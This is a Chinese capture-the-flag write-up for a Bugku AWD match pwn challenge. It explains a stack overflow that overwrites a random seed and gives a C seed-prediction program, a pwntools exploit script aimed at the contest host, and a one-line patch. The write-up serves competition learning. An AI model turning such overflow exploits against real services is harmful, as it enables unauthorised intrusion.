Bugku S3 AWD排位赛-4 pwn
吐槽一下,好几个战队什么都没干的突然飞到前10,一轮开始几秒之后一个队直接飞到8千多分,pwn打完一轮从第二轮就打不了了。。。。。对pwn手极度不友好
设计的还有点有缺陷的,web和pwn都用的一个环境,web可以直接拿到pwn的flag(cat /home/ctf/flag),导致了web手能直接拿双倍的分(web+pwn),分两个环境就可以解决问题了。。
栈溢出,把seed覆盖成1,然后写个c程序算对100次结果,也可以使用python+c的联合编程
对100次就可以拿到flag
修起来也简单,直接把下面的fgets的64改成16就可以了,再提一嘴,pwn patch好了之后覆盖了原来的pwn会出现pwn运行不起来的情况:(,就出现了web+pwn双宕机
#include <stdio.h>
int main(int argc, char **argv){
int i;
srand(1);
int v8;
for(i = 0; i < 100; i ++){
v8 = rand() % 100000 + 1;
printf("%d\n", v8);
}
return 0;
}
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('192-168-1-137.awd.bugku.cn', 9999)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'a' * 0x40 + p64(1)
r.sendlineafter('Who goes there?', p1)
p = [
89384,
30887,
92778,
36916,
47794,
38336,
85387,
60493,
16650,
41422,
2363,
90028,
68691,
20060,
97764,
13927,
80541,
83427,
89173,
55737,
5212,
95369,
2568,
56430,
65783,
21531,
22863,
65124,
74068,
3136,
13930,
79803,
34023,
23059,
33070,
98168,
61394,
18457,
75012,
78043,
76230,
77374,
84422,
44920,
13785,
98538,
75199,
94325,
98316,
64371,
66414,
3527,
76092,
68981,
59957,
41874,
6863,
99171,
6997,
97282,
2306,
20926,
77085,
36328,
60337,
26506,
50847,
21730,
61314,
25858,
16125,
53896,
19583,
546,
98815,
33368,
15435,
90365,
44044,
13751,
71088,
26809,
17277,
47179,
95789,
93585,
5404,
2652,
92755,
12400,
99933,
95061,
49677,
93369,
47740,
10013,
36227,
98587,
48095,
97540
]
for i in p:
r.sendline(str(i))
r.interactive()